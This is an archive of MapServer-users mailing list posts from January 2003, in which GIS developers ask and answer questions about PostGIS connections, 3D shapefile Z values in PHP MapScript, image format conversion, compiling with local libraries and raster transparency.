Subject: [Mapserver-users] Multiple files as one LAYER
> Greetings,
> I have data consisting of dozens of shapefiles sitting in individual
> subdirectories which I'd like to load as one LAYER. I'd rather not
> extend my MAP file with dozens of additional layers if I can avoid it,
> I'd like to think that I could write another file that does this for
> me. What's the best solution?
>
> Regards,
>
> Lyndon Zimmermann
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From stefan.schwarzer at grid.unep.ch Mon Jan 6 04:51:41 2003
From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer)
Date: Mon, 06 Jan 2003 13:51:41 +0100
Subject: [Mapserver-users] highlight selected area
Message-ID: <5.2.0.9.0.20030106133918.0215caa0@gridg.grid.unep.ch>
--=====================_20439891==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed
Hi everybody,
I am developing a MMS application, based on the GMAP example. One would
find in the navigation bar a simple zoom and a selection tool. With the
latter the user should be enabled to draw a rectangle on the map to mark
the selection area. But instead of reloading the map, I want the
application to show the matching results in a separate table while still
(or if the map has to be reloaded: again) showing the bounding box on the
map. There is a nice example on http://www.geographynetwork.com/ using
ArcIMS. Here, it highlights very nicely the selected area.
I didn't find anything in the mailing list archive. Does anybody have an
idea how to do that?
Thanks for any help,
Stefan
_______________________________________
Stefan Schwarzer
Consultant on GEO
UNEP/DEWA/GRID-Geneva
Chemin des Anemones 11
CH - 1219 Chatelaine
Switzerland
Tel: (+41) 22.917.83.49
Fax: (+41) 22.917.80.29
Email: stefan.schwarzer at grid.unep.ch
Internet: http://geodata.grid.unep.ch/
_______________________________________
--=====================_20439891==.ALT
Content-Type: text/html; charset="us-ascii"
Hi everybody,
I am developing a MMS application, based on the GMAP example. One
would find in the navigation bar a simple zoom and a selection tool. With
the latter the user should be enabled to draw a rectangle on the map to
mark the selection area. But instead of reloading the map, I want the
application to show the matching results in a separate table while still
(or if the map has to be reloaded: again) showing the bounding box on the
map. There is a nice example on
http://www.geographynetwork.com/
using ArcIMS. Here, it highlights very nicely the selected area.
I didn't find anything in the mailing list archive. Does anybody have an idea how to do that?
Thanks for any help,
Stefan
_______________________________________
Stefan Schwarzer Consultant on GEO
UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland
Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29
Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________
--=====================_20439891==.ALT--
From rhornsby at io.osuedc.org Mon Jan 6 05:56:51 2003
From: rhornsby at io.osuedc.org (richard hornsby)
Date: Mon, 6 Jan 2003 08:56:51 -0500 (EST)
Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to
`__gxx_personality_v0'
In-Reply-To: <04c701c2b2a0$d8df9cc0$1436ba8c@sfdev3>
Message-ID:
-[snip]-
NV :2) adding -lstdc++ to the list of libraries thesse executables are
NV : linked against
-[snip]-
this worked out very well, thanks!
fyi, this is the line I put it on, forgive my poor man's hack if it should
go elsewhere:
STATIC_LIBS= $(GD_STATIC) $(OGR_STATIC) -lstdc++
this is at or around line 161 of the Makefile.
-rj
From rhornsby at io.osuedc.org Mon Jan 6 06:03:51 2003
From: rhornsby at io.osuedc.org (richard hornsby)
Date: Mon, 6 Jan 2003 09:03:51 -0500 (EST)
Subject: [Mapserver-users] making the demo work with non-gif GD libs
Message-ID:
I think I'm running with GD libs somewhere around 1.8, but the point being
that they don't support GIF rendering, because of the patent issues, etc.
However, when running the mapserv demo, I wasn't getting errors
specifically related to GD - instead I was getting things like:
msLoadMap(): General error message. Undefined symbol "symbols/ctyhwy.gif"
in class 0 of layer ctyrdln3_anno.
The "symbol" exists in the directory that it should. The docs suggest to
comment out large sections of your .map file. However, I converted the
.gif symbols and 'reference.gif' to pngs, and changed the references in
demo.map to png, it works happily.
Slightly off-topic, for larger projects which need this kind of
conversion, you can certainly use sed on the .map file, but does anyone
know of tools to convert images between formats quickly (ala sox)?
thanks
-rj
--
Information Center, n.:
A room staffed by professional computer people whose job it is to
tell you why you cannot have the information you require.
rj hornsby . systems engineer . www.osuedc.org
human and community resource development
p 614 688 8761 . f 614 688 8762
From mh at svaj.dk Mon Jan 6 06:08:20 2003
From: mh at svaj.dk (Martin Hoegh)
Date: Mon, 6 Jan 2003 15:08:20 +0100
Subject: [Mapserver-users] (no subject)
Message-ID: <002101c2b58d$11acd1f0$6700000a@svaj.local>
This is a multi-part message in MIME format.
------=_NextPart_000_001E_01C2B595.73434C20
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi
It seems to me that 'mapxy=3Dshape' in a mapserv url only works with =
shapefiles not with PostGis data. Is this right? I want to zoom to =
features found in an itemnquery.
Martin H=F8gh
Sven Allan Jensen as
Sankelmarksgade 9
9000 Aalborg
Tlf. 98129300
Direkte tlf. 96314082
mh at svaj.dk
------=_NextPart_000_001E_01C2B595.73434C20
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi
It seems to me that 'mapxy=3Dshape' in =
a mapserv url=20
only works with shapefiles not with PostGis data. Is this right? I want =
to zoom=20
to features found in an itemnquery.
Martin H=F8gh Sven Allan Jensen=20
as Sankelmarksgade 9 9000 Aalborg Tlf. 98129300 Direkte tlf. =
96314082 mh at svaj.dk
------=_NextPart_000_001E_01C2B595.73434C20--
From lfilak at medinaco.org Mon Jan 6 06:27:28 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Mon, 06 Jan 2003 09:27:28 -0500
Subject: [Mapserver-users] making the demo work with non-gif GD libs
Message-ID: <200301061424.h06EOUR11622@yogi.medinaco.net>
You could try "convert" - part of the Imagemagick package.
HTH
Lowell F.
The following message was sent by richard hornsby on Mon, 6 Jan 2003 09:03:51 -0500 (EST).
>
> I think I'm running with GD libs somewhere around 1.8, but the point being
> that they don't support GIF rendering, because of the patent issues, etc.
> However, when running the mapserv demo, I wasn't getting errors
> specifically related to GD - instead I was getting things like:
>
> msLoadMap(): General error message. Undefined symbol "symbols/ctyhwy.gif"
> in class 0 of layer ctyrdln3_anno.
>
> The "symbol" exists in the directory that it should. The docs suggest to
> comment out large sections of your .map file. However, I converted the
> .gif symbols and 'reference.gif' to pngs, and changed the references in
> demo.map to png, it works happily.
>
> Slightly off-topic, for larger projects which need this kind of
> conversion, you can certainly use sed on the .map file, but does anyone
> know of tools to convert images between formats quickly (ala sox)?
>
> thanks
> -rj
>
> --
> Information Center, n.:
> A room staffed by professional computer people whose job it is to
> tell you why you cannot have the information you require.
>
> rj hornsby . systems engineer . www.osuedc.org
> human and community resource development
> p 614 688 8761 . f 614 688 8762
>
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Chip.Hankley at GASAI.Com Mon Jan 6 06:47:22 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Mon, 6 Jan 2003 08:47:22 -0600
Subject: [Mapserver-users] making the demo work with non-gif GD libs
Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785274@postoffice.GASAI.Com>
> does anyone know of tools to convert images between formats
> quickly (ala sox)?
>
Infranview is free, and supports conversion. You can do command line
conversions too. It ALSO supports conversion of MrSID files to *other*
formats.
On the windows side, Paint Shop Pro has a batch convert utility that works
great. IMHO, PSP is about the most unbelievable bargain at around $75 w/
respect to image manipulation.
Chip
From ian at geography.leeds.ac.uk Mon Jan 6 07:11:21 2003
From: ian at geography.leeds.ac.uk (Ian Turton)
Date: Mon, 06 Jan 2003 15:11:21 +0000
Subject: [Mapserver-users] Off topic a bit: Java GML
reader/writer...
In-Reply-To: <00d401c2b35d$732f8620$1637ba8c@sfdev3>
References:
Message-ID: <5.1.0.14.0.20030106150938.080001d8@geog.leeds.ac.uk>
At 07:22 PM 03/01/2003, Norman Vine wrote:
>Steve writes:
> >
> > Hi folks: Does anyone know a java-based GML reader/writer class? I'm
> > looking to use it to load/save features
> > for a simple online digitizing applet (see
> > http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires
> > java 2 plugin) using WFS. Thanks much...
>
>a Google( "class gml" ) turns up
>http://www.geotools.org/docs/uk/ac/leeds/ccg/gml/GMLReader.html
Ignore that one its quite old and only reads gml 1.0 - for a GML2.0/1
reader look at geotools2 (www.geotools.org). If it doesn't contain the
writing code from GeoServer then let me know and I'll prod Rob as he
promised to move it over before Xmas.
Ian
Ian Turton, Director, Centre for Computational Geography, University of
Leeds, Leeds, LS2 9JT
http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk
http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308
From jeff at propertykey.com Mon Jan 6 07:51:59 2003
From: jeff at propertykey.com (Jeff Hoffmann)
Date: Mon, 06 Jan 2003 09:51:59 -0600
Subject: [Mapserver-users] Mapserver to SVG Demo
In-Reply-To:
References:
Message-ID: <3E19A61F.8050009@propertykey.com>
Geoff Anderson wrote:
>
> Here's the Mapserver to SVG Demo. It loads the current Mapserver map
> image into SVG. The image is not converted to SVG, just provides a
> raster base map over which SVG stuff can be implemented. On browsers
> where the SVG mouse events work, users may "digitize" points and query
> PostGIS by point coordinates (which might be correct...).
That's pretty cool. I've been thinking about playing around with a
similar concept, although purely vector based (or mixed vector/raster).
Have you tried doing something like this except using the WFS output
available in mapserver 3.7-dev version & running the output through a
gml2svg XSLT? It seems like that should be a pretty straightforward
process. I'm really new to the whole SVG thing but just recently I saw
a demo where you can dynamically modify the SVG in the client and
thought it'd be a great way to create annotatable maps in a web browser.
Now it's just a matter of finding the time to play around with it.
> Please let me know if anyone wants the PHP source. It's not pretty, but
> it seems to work.
Do you know of a good tutorial on the web when it comes to scripting
inside the SVGs? I think that's where the biggest learning curve for me
would come into play.
--
Jeff Hoffmann
PropertyKey.com
From dlowther at ou.edu Mon Jan 6 08:07:11 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Mon, 6 Jan 2003 10:07:11 -0600
Subject: [Mapserver-users] Mapserver / PostGIS Layer
Message-ID:
Hi List and Happy New Year!
I have been struggling with a situation related to Mapserver and PostGIS
layers and I was hoping someone might help me out.
I have PostGIS running on Redhat. I have 2 web/mapserver (3.6.3) servers
(Intel WinNT4.0 IIS4.0) that access this PostGIS database. One is a test
server (located in the same domain as the PostGIS server) and one is a live
server (located in a separate domain from the PostGIS server). Using the
same connection information in a mapfile the test server can access and map
the PostGIS database with no problem - as could the live server when it was
in the domain - but the live server fails to connect with an error
(msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection
information.) now that it is outside the domain. I am stressing the domain
issue here because I can't think of any other difference in the two servers.
- PGAdmin from the live server connects with no problem.
- ODBC connectivity from the live server works fine.
- The mapfiles on the test and live servers are identical except for
necessary directory differences.
- Checked password, hostname, connection type, socket connections enabled as
instructed in debug version of Mapserver build, but if they work on the test
server shouldn't they work on the live?
- Added live server to pg_hba.conf although test server does not appear and
connects successfully:
host all 216.226.17.176 255.255.255.0 trust
- Initialize postmaster with -i option to allow tcp/ip connections.
- tcpip_socket=true in postgresql.conf.
- Tried using port=5432 in the CONNECTION param for mapfile - no difference
in behaviour.
Heres the layer from the mapfile:
### ROADS ###
LAYER
GROUP "Selected"
NAME "gradyRoads"
CONNECTIONTYPE postgis
CONNECTION "user=*** password=*** dbname=*** host=***"
DATA "the_geom from (select oid,* from roads) as foo"
TYPE LINE
STATUS OFF
PROJECTION #GEOGRAPHIC NAD83
proj=longlat
ellps=GRS80
no_defs
END
TEMPLATE "IDgradyRoads.htm"
CLASS#
NAME "Grady Roads"
SYMBOL "line"
SIZE 2
OUTLINECOLOR -1 -1 -1
COLOR 10 200 100
END
METADATA
legend_order "5"
END
END
Would anyone be willing to try connecting to the PostGIS server using
Mapserver if I were to provide ip, db, un, and pwd info? I'm just completely
stuck at this point.
Thanks so much for everyone's help getting me to this point and thanks in
advance for all your help with this issue,
David Lowther
Software Engineer
GEO Information Systems
University of Oklahoma
dlowther at ou.edu
(405) 325-3131
http://www.geo.ou.edu
From Chip.Hankley at GASAI.Com Mon Jan 6 09:43:28 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Mon, 6 Jan 2003 11:43:28 -0600
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com>
Is there a way to access the Z-values of the vertices in a 3D shapefile? I
have a 3D LINE shapefile that I created in ArcView. When I try to loop
through the shapefile, each shape type is returned as MS_SHAPE_NULL. I'm not
able to access the individual 'lines', apparently, for this type.
The code I'm using is:
//Open the shapefile and spit out the results for each line.
$oShpFile = ms_newShapefileObj($shpPath, -1);
for ($i=0;$i < $oShpFile->numshapes;$i++) {
$oShp = $oShpFile->getShape($i);
for($j=0; $j < $oShp->numlines; $j++) {
$oLine = $oShp->line($i);
for($k=0; $k<$oLine->numpoints; $k++) {
$point = $oLine->point($k);
echo $point->x . "," . $point->y . "," . $point->m . " ";
}
//$oLine->free();
}
$oShp->free();
}
$oShpFile->free();
Thanks!
Chip
From pramsey at refractions.net Mon Jan 6 09:57:04 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Mon, 06 Jan 2003 09:57:04 -0800
Subject: [Mapserver-users] Mapserver / PostGIS Layer
In-Reply-To:
References:
Message-ID: <3E19C370.3020305@refractions.net>
David, is it possible you have a name resolution problem? If you specify
your host using a raw IP address, does it work better?
Lowther, David W wrote:
> Hi List and Happy New Year!
>
> I have been struggling with a situation related to Mapserver and PostGIS
> layers and I was hoping someone might help me out.
>
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From morissette at dmsolutions.ca Mon Jan 6 10:36:13 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 06 Jan 2003 13:36:13 -0500
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com>
Message-ID: <3E19CC9D.A50DAA15@dmsolutions.ca>
MapScript supports 2D shapefiles (x,y), and measured shapefiles (x,y,m),
but it doesn't support shapefiles with Z values (x,y,z). I would think
that someone could add this fairly easily by looking at the latest
version of Shapelib and porting the changes to suppport the Z types to
the MapServer version of shapelib. Perhaps you could file this as an
enhancement in bugzilla, and if someone ever has time...
Daniel
"Hankley, Chip" wrote:
>
> Is there a way to access the Z-values of the vertices in a 3D shapefile? I
> have a 3D LINE shapefile that I created in ArcView. When I try to loop
> through the shapefile, each shape type is returned as MS_SHAPE_NULL. I'm not
> able to access the individual 'lines', apparently, for this type.
>
> The code I'm using is:
>
> //Open the shapefile and spit out the results for each line.
> $oShpFile = ms_newShapefileObj($shpPath, -1);
> for ($i=0;$i < $oShpFile->numshapes;$i++) {
> $oShp = $oShpFile->getShape($i);
> for($j=0; $j < $oShp->numlines; $j++) {
> $oLine = $oShp->line($i);
> for($k=0; $k<$oLine->numpoints; $k++) {
> $point = $oLine->point($k);
> echo $point->x . "," . $point->y . "," . $point->m . " ";
> }
> //$oLine->free();
> }
> $oShp->free();
> }
> $oShpFile->free();
>
> Thanks!
>
> Chip
From warmerdam at pobox.com Mon Jan 6 10:41:21 2003
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 06 Jan 2003 13:41:21 -0500
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
In-Reply-To: <3E19CC9D.A50DAA15@dmsolutions.ca>
References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> <3E19CC9D.A50DAA15@dmsolutions.ca>
Message-ID: <3E19CDD1.203@pobox.com>
Daniel Morissette wrote:
> MapScript supports 2D shapefiles (x,y), and measured shapefiles (x,y,m),
> but it doesn't support shapefiles with Z values (x,y,z). I would think
> that someone could add this fairly easily by looking at the latest
> version of Shapelib and porting the changes to suppport the Z types to
> the MapServer version of shapelib. Perhaps you could file this as an
> enhancement in bugzilla, and if someone ever has time...
Chip / Daniel,
I would also note that 3D shapefiles can be accessed through OGR. I am
not sure it is worth complicating the existing fast 3D shapefile support
in MapServer when those wanting to use 3D shapefiles can just use
OGR-in-Mapserver. Also, utilities like ogr2ogr can be used to flatten
a shapefile to 2D if needed.
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From morissette at dmsolutions.ca Mon Jan 6 10:49:11 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 06 Jan 2003 13:49:11 -0500
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> <3E19CC9D.A50DAA15@dmsolutions.ca> <3E19CDD1.203@pobox.com>
Message-ID: <3E19CFA7.CEB35FCC@dmsolutions.ca>
Frank Warmerdam wrote:
>
> Chip / Daniel,
>
> I would also note that 3D shapefiles can be accessed through OGR. I am
> not sure it is worth complicating the existing fast 3D shapefile support
> in MapServer when those wanting to use 3D shapefiles can just use
> OGR-in-Mapserver. Also, utilities like ogr2ogr can be used to flatten
> a shapefile to 2D if needed.
>
True. I didn't think about that. I guess that solves the issue for you
Chip, unless you need access to the Z values in MapScript in which case
we would have to add a 'z' value to the pointObj and modify mapogr.cpp
to set the z value. With the current version if you access a 3D
shapefile with OGR the Z values are simply dropped.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From Chip.Hankley at GASAI.Com Mon Jan 6 10:56:17 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Mon, 6 Jan 2003 12:56:17 -0600
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785284@postoffice.GASAI.Com>
> I guess that solves the issue for you Chip, unless you need access to the
> Z values in MapScript.
I'd like to use the z values of the shapefile to create profiles... so what
I'm trying to do, is get the individual z values for each vertex in a shape.
So, I understand that I can't do this through mapScript... but I don't see a
way to do it with OGR either (albeit my OGR experience is pretty limited).
Am I missing something?
From steve.lime at dnr.state.mn.us Mon Jan 6 11:15:06 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 06 Jan 2003 13:15:06 -0600
Subject: [Mapserver-users] Fwd: Problem about true type font
Message-ID:
Received: from mail.state.mn.us
(state.mn.us [156.99.125.109])
by co5.dnr.state.mn.us; Mon, 06 Jan 2003 01:43:43 -0600
Return-Path:
Received: from [64.4.9.174] by mail.state.mn.us with ESMTP for steve.lime at state.mn.us; Mon, 6 Jan 2003 01:43:42 -0600
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
Sun, 5 Jan 2003 23:43:42 -0800
Received: from 203.185.132.122 by lw9fd.law9.hotmail.msn.com with HTTP;
Mon, 06 Jan 2003 07:43:41 GMT
X-Originating-IP: [203.185.132.122]
From: "world geo"
To: Steve.Lime at state.mn.us
Bcc:
Subject: Problem about true type font
Date: Mon, 06 Jan 2003 07:43:41 +0000
Message-Id:
X-OriginalArrivalTime: 06 Jan 2003 07:43:42.0327 (UTC) FILETIME=[55A23070:01C2B557]
MIME-Version: 1.0
Content-Type: text/plain; format=flowed
Content-Transfer-Encoding: 7bit
I setup Map server on windows 98 success,but have some question about
truetype font ,I use thai text on map and I use Truetype font of window that
support thai font (window-874),but it not match all character .How to solve
this problem,Edit Font file or recompile mapserver ?
i use
1.ms36png_gdal_pg_wms.zip: Outputs PNG, or JPEG images; input includes
shapefiles, many OGR supported vector datasets, GDAL supported raster files,
PostgreSQL 7.2.1/PostGIS 0.7.1 geospatial databases; TrueType font support;
OGC WMS compliant; Proj.4 projection support.
2.Apache 2.0
i want to know please help me
_________________________________________________________________
Add photos to your e-mail with MSN 8. Get 2 months FREE*.
http://join.msn.com/?page=features/featuredemail
From morissette at dmsolutions.ca Mon Jan 6 12:05:40 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Mon, 06 Jan 2003 15:05:40 -0500
Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript)
References: <3DFF131E4E6D2D4198CDD758F35A535302785284@postoffice.GASAI.Com> <3E19E115.B799C133@dmsolutions.ca>
Message-ID: <3E19E194.CF965D8E@dmsolutions.ca>
Daniel Morissette wrote:
>
> "Hankley, Chip" wrote:
> >
> > I'd like to use the z values of the shapefile to create profiles... so what
> > I'm trying to do, is get the individual z values for each vertex in a shape.
> > So, I understand that I can't do this through mapScript... but I don't see a
> > way to do it with OGR either (albeit my OGR experience is pretty limited).
> > Am I missing something?
>
> You could use the $layer->open()/close() and $layer->getShape() to read
> shapes out of an OGR data source (or any data source that MapServer
> supports).
>
> The only problem is that those calls are intended to be used to read
> shapes returned by a query call, so they don't provide the equivalent of
> the shapefileObj->numshapes member. Assuming your shapefile is not too
> big then you could do a queryByAttributes() with an attribute filter
> that matches all shapes in your layer, and then the query results will
> contain the shape id of all shapes in your layer.
>
> It might also be possible to implement a new $layer->getNextShape()
> method that would allow someone to sequentially read all shapes using a
> layerObj.
>
> Now, where do we go from there? I'll file those comments in the bug
> report and we can continue the discussion there:
> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=255
>
> I would be interested in hearing what Steve thinks about adding support
> for Z values in MapServer since this implies an increase in size of the
> pointObj, which means more memory per shapeObj, all this for a feature
> that very few users will use. Perhaps that should be made available as
> a compile option?
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Mon Jan 6 12:06:31 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 06 Jan 2003 14:06:31 -0600
Subject: [Mapserver-users] (no subject)
Message-ID:
Should work with any datasource, assuming that source populates the
extent properties of a shape when it's retrieved.
Steve
>>> "Martin Hoegh" 01/06/03 08:08AM >>>
Hi
It seems to me that 'mapxy=shape' in a mapserv url only works with
shapefiles not with PostGis data. Is this right? I want to zoom to
features found in an itemnquery.
Martin H?gh
Sven Allan Jensen as
Sankelmarksgade 9
9000 Aalborg
Tlf. 98129300
Direkte tlf. 96314082
mh at svaj.dk
From blewis at atsincorp.com Mon Jan 6 12:10:45 2003
From: blewis at atsincorp.com (Ben Lewis)
Date: Mon, 6 Jan 2003 15:10:45 -0500
Subject: [Mapserver-users] MapServer performance vs Java servers
Message-ID: <4514D1DE1E069744839F24247A635032027FF9@deathstar.ats.atsincorp.com>
Can anyone speak to performance comparisons (for shape and PostGIS vectors) between MapServer and open source Java servers out there - GeoServer, Degree (JaGo), OpenMap? How about for TIFFs? One would think java-based servers would be a bit slower, but are they?
- Ben
-----Original Message-----
From: GAIA [mailto:mapserver at peligroso.gaiaenv.com]
Sent: Thursday, January 02, 2003 6:26 PM
To: Mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] Fastest Data Format
Hi all,
I just read my posting, which sounds somewhat curt and it wasn't meant to be. Shapefiles are nice and quick for the most part and MapServer is still the best solution for us by far. Having said that, the SDE performance is not up to par with the rest of the application. As part of our model, we promote multiple applications hitting a common data set. SDE connectivity is a must as our needs and many of our clients' needs evolve (many of our clients use SDE already), and we were excited to see its inclusion.
Shapefiles have, for the most part, performed well for us, even with large data sets. Performance aside, as we and our clients manage larger data sets, the data management convenience of a RDBMS approach is more logical and cost effective. The volume of tiles can get rediculous with large data sets and multiple clients. Now, if we could only realise the performance...
Cheers,
GAIA
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From lornknight at yahoo.com Mon Jan 6 12:49:48 2003
From: lornknight at yahoo.com (Andrew Covey)
Date: Mon, 6 Jan 2003 12:49:48 -0800 (PST)
Subject: [Mapserver-users] Compile/library problems
Message-ID: <20030106204948.77970.qmail@web41410.mail.yahoo.com>
Hello,
I am attempting to install MapServer via an account
with an ISP, who allowed me to install the necessary
support libraries (in my home dir). When I attempt to
compile map server, I specify where the libs are -
just as ./configure --help specifies I should.
./configure will, under no circumstances, acknowledge
the presence of the libraries I have compiled.
I have had this compile problem with other Redhat
boxes, and Gentoo Linux boxes also. Slackware seems
to behave well however. Sadly, my ISP is using RedHat
7.2, and will not change distros just for little'ole
me.
Can anyone help me figure out why I can't seem to
compile in the libs I compiled and installed in my
home dir? Need my ISP install the libraries instead
of myself for some reason? Any help would be most
appreciated.
Thanks,
Andrew C.
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Jan 6 13:01:45 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Mon, 6 Jan 2003 16:01:45 -0500
Subject: [Mapserver-users] Compile/library problems
Message-ID: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca>
Andrew,
Hmmmm. When you say installed, you mean you configure with a --prefix, and
then did a "make install"?
If so, the problem is probably simply the path you're giving to configure
...
let's say you created ~/lib and ~/include to put your librairies in ... In
this case, you saying --with-gd=/ might just work (the lib and include
directories are ofthen "assumed" by configure scripts. This becomes
sligghtly clearer if you use a subdirectory for your styff, so ~/mylibs
inside which you create lib and include, and then feed ~/mylibs to your
configure ...
In some cases, you can try pointing to the src directory where the library
has been built.
But you're going to have a bigger problem. The system linker on your ISP's
server isn't going to find the librairies it wants to dynamically load. To
get around this, either you get them to update their linker paths
(ld.so.conf), which is unlikely they would do, or you use your own linker
... Or, last resort, statically build your cgi executable ... though I
couldn't help you with that I'm afraid!
J.F.
-----Original Message-----
From: Andrew Covey [mailto:lornknight at yahoo.com]
Sent: Monday, January 06, 2003 3:50 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Compile/library problems
Hello,
I am attempting to install MapServer via an account
with an ISP, who allowed me to install the necessary
support libraries (in my home dir). When I attempt to
compile map server, I specify where the libs are -
just as ./configure --help specifies I should.
./configure will, under no circumstances, acknowledge
the presence of the libraries I have compiled.
I have had this compile problem with other Redhat
boxes, and Gentoo Linux boxes also. Slackware seems
to behave well however. Sadly, my ISP is using RedHat
7.2, and will not change distros just for little'ole
me.
Can anyone help me figure out why I can't seem to
compile in the libs I compiled and installed in my
home dir? Need my ISP install the libraries instead
of myself for some reason? Any help would be most
appreciated.
Thanks,
Andrew C.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From hunt at zedxinc.com Mon Jan 6 13:23:34 2003
From: hunt at zedxinc.com (Aaron D. Hunt)
Date: Mon, 6 Jan 2003 16:23:34 -0500
Subject: [Mapserver-users] raster transparent color
Message-ID: <008901c2b5c9$ded5e950$1805000a@zedxinc.com>
This is a multi-part message in MIME format.
------=_NextPart_000_0086_01C2B59F.F5CA7970
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Is there a way to make a color on a raster to be transparent? I have =
some georef images of interpolated fields with a white fill out side the =
field boundary. I want to overlay the interpolated fields with ortho =
backgrounds.=20
Thank you for any help
Aaron D. Hunt
------=_NextPart_000_0086_01C2B59F.F5CA7970
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Is there a way to make a color on a =
raster to be=20
transparent? I have some georef images of interpolated fields with a =
white fill=20
out side the field boundary. I want to overlay the interpolated fields =
with=20
ortho backgrounds.
Thank you for any help
Aaron D. =
Hunt
------=_NextPart_000_0086_01C2B59F.F5CA7970--
From gadoury at dmsolutions.ca Mon Jan 6 13:29:51 2003
From: gadoury at dmsolutions.ca (Dean Gadoury)
Date: Mon, 06 Jan 2003 16:29:51 -0500
Subject: [Mapserver-users] raster transparent color
References: <008901c2b5c9$ded5e950$1805000a@zedxinc.com>
Message-ID: <3E19F54F.6060003@dmsolutions.ca>
--------------040306020206060507070608
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
You can use OFFSITE for this. Example:
LAYER
NAME "raster_image"
DATA "../data/image.tif"
TYPE RASTER
STATUS ON
OFFSITE 0
END
Pixels with a value of 0 will not be drawn, or will be drawn transparent
depending on how you look at it.
Aaron D. Hunt wrote:
> Is there a way to make a color on a raster to be transparent? I have
> some georef images of interpolated fields with a white fill out side
> the field boundary. I want to overlay the interpolated fields with
> ortho backgrounds.
>
> Thank you for any help
>
> Aaron D. Hunt
--------------040306020206060507070608
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
You can use OFFSITE for this. Example:
LAYER
NAME "raster_image"
DATA "../data/image.tif"
TYPE RASTER
STATUS ON
OFFSITE 0
END
Pixels with a value of 0 will not be drawn, or will be drawn transparent
depending on how you look at it.
Aaron D. Hunt wrote:
Is there a way to make a color on a raster
to be transparent? I have some georef images of interpolated fields with
a white fill out side the field boundary. I want to overlay the interpolated
fields with ortho backgrounds.
Thank you for any help
Aaron D. Hunt
--------------040306020206060507070608--
From m.spring at gmx.de Mon Jan 6 13:34:50 2003
From: m.spring at gmx.de (m.spring at gmx.de)
Date: Mon, 06 Jan 2003 22:34:50 +0100
Subject: [Mapserver-users] Compile/library problems
